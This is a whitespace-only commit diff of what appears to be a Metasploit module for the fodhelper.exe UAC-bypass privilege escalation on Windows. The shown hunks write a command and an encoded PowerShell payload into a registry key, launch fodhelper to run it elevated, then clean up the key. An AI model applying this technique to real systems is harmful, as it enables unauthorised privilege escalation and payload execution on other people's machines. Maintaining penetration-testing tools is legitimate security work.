@@ -78,11 +78,11 @@ def exploit
78
78
if session . arch == ARCH_X86
79
79
# fodhelper.exe is x64 only exe
80
80
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
81
- if target_arch . first == ARCH_X64
82
- # We can't use absolute path here as
83
- # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
84
- psh_path = "powershell.exe"
85
- end
81
+ if target_arch . first == ARCH_X64
82
+ # We can't use absolute path here as
83
+ # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
84
+ psh_path = "powershell.exe"
85
+ end
86
86
end
87
87
if target_arch . first == ARCH_X86
88
88
# Invoking x86, so switch to SysWOW64
@@ -95,10 +95,10 @@ def exploit
95
95
end
96
96
end
97
97
98
- if !payload . arch . empty? && !( payload . arch . first == target_arch . first )
99
- fail_with ( Failure ::BadConfig , 'payload and target should use the same architecture' )
100
- end
101
-
98
+ if !payload . arch . empty? && !( payload . arch . first == target_arch . first )
99
+ fail_with ( Failure ::BadConfig , 'payload and target should use the same architecture' )
100
+ end
101
+
102
102
# Validate that we can actually do things before we bother
103
103
# doing any more work
104
104
check_permissions!
@@ -124,7 +124,7 @@ def exploit
124
124
125
125
template_path = Rex ::Powershell ::Templates ::TEMPLATE_DIR
126
126
psh_payload = Rex ::Powershell ::Payload . to_win32pe_psh_net ( template_path , payload . encoded )
127
-
127
+
128
128
if psh_payload . length > CMD_MAX_LEN
129
129
fail_with ( Failure ::None , "Payload size should be smaller then #{ CMD_MAX_LEN } (actual size: #{ psh_payload . length } )" )
130
130
end
@@ -145,7 +145,7 @@ def exploit
145
145
end
146
146
147
147
registry_setvaldata ( FODHELPER_WRITE_KEY , EXEC_REG_VAL , cmd , EXEC_REG_VAL_TYPE , registry_view )
148
- registry_setvaldata ( FODHELPER_WRITE_KEY , payload_value , psh_payload , EXEC_REG_VAL_TYPE , registry_view )
148
+ registry_setvaldata ( FODHELPER_WRITE_KEY , payload_value , psh_payload , EXEC_REG_VAL_TYPE , registry_view )
149
149
150
150
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
151
151
cmd_path = expand_path ( commspec )
@@ -168,7 +168,7 @@ def exploit
168
168
if existing . empty?
169
169
registry_deletekey ( FODHELPER_DEL_KEY , registry_view )
170
170
else
171
- registry_setvaldata ( FODHELPER_WRITE_KEY , EXEC_REG_VAL , existing , EXEC_REG_VAL_TYPE , registry_view )
171
+ registry_setvaldata ( FODHELPER_WRITE_KEY , EXEC_REG_VAL , existing , EXEC_REG_VAL_TYPE , registry_view )
172
172
end
173
173
registry_deleteval ( FODHELPER_WRITE_KEY , payload_value , registry_view )
174
174
0 commit comments